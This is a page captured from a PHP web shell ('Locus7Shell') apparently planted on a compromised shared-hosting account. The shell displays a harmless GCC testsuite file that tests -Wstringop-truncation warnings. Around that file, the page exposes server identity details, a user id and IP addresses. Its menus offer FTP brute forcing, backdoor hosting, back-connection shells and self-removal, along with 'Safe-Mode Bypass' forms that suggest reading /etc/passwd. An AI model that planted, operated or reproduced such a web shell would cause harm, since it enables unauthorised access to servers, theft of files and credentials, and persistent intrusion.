Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-truncation-2.C (2.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR tree-optimization/84468 - bogus -Wstringop-truncation despite
// assignment after conditional strncpy
// Compile with -g to verify the warning deals properly with debug
// statements.
// { dg-do compile }
// { dg-options "-O2 -Wstringop-truncation -g" }

extern "C" char* strncpy (char*, const char*, __SIZE_TYPE__);

char d[3];

void g ();

void fnowarn1 (const char *s)
{
  // Update dummy but never actually use it so it's eliminated
  // but causes debugging statements to be emitted for each
  // modification.
  int dummy = 0;

  try
    {
      g ();
      strncpy (d, s, sizeof d);   // { dg-bogus "\\\[-Wstringop-truncation]" }
      ++dummy;
    }
  catch (...)
    {
      ++dummy;
      d[0] = 0;
    }

  ++dummy;
  d[sizeof d - 1] = 0;
}

void fnowarn2 (const char *s)
{
  int dummy = 0;

  try
    {
      g ();
      strncpy (d, s, sizeof d);
      ++dummy;
    }
  catch (...)
    {
      ++dummy;
      return;
    }

  ++dummy;
  d[sizeof d - 1] = 0;
}

void fnowarn3 (const char *s)
{
  int dummy = 0;

  try
    {
      g ();
      strncpy (d, s, sizeof d);
      ++dummy;
      try
    {
      ++dummy;
      d[sizeof d - 1] = 0;
      g ();
    }
      catch (...)
    {
      ++dummy;
    }
    }
  catch (...)
    {
      ++dummy;
      return;
    }

  ++dummy;
  d[sizeof d - 1] = 0;
}

void fnowarn4 (const char *s)
{
  int dummy = 0;

  try
    {
      g ();
    }
  catch (...)
    {
      strncpy (d, s, sizeof d);   // { dg-bogus "\\\[-Wstringop-truncation]" "bug 84468" { xfail *-*-*} }
      ++dummy;
    }

  ++dummy;
  d[sizeof d - 1] = 0;
}

void fwarn1 (const char *s)
{
  int dummy = 0;

  try
    {
      ++dummy;
      g ();
      ++dummy;
      strncpy (d, s, sizeof d);   // { dg-warning "\\\[-Wstringop-truncation]" }
      ++dummy;
    }
  catch (...)
    {
      ++dummy;
    }

  ++dummy;
}

void fwarn2 (const char *s)
{
  int dummy = 0;

  try
    {
      ++dummy;
      strncpy (d, s, sizeof d);   // { dg-warning "\\\[-Wstringop-truncation]" }
      ++dummy;
      g ();
      ++dummy;
    }
  catch (...)
    {
      ++dummy;
    }

  ++dummy;
}

void fwarn3 (const char *s)
{
  int dummy = 0;

  try
    {
      ++dummy;
      g ();
      ++dummy;
      strncpy (d, s, sizeof d);   // { dg-warning "\\\[-Wstringop-truncation]" }
      ++dummy;
    }
  catch (...)
    {
      ++dummy;
      d[0] = 0;
    }

  ++dummy;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--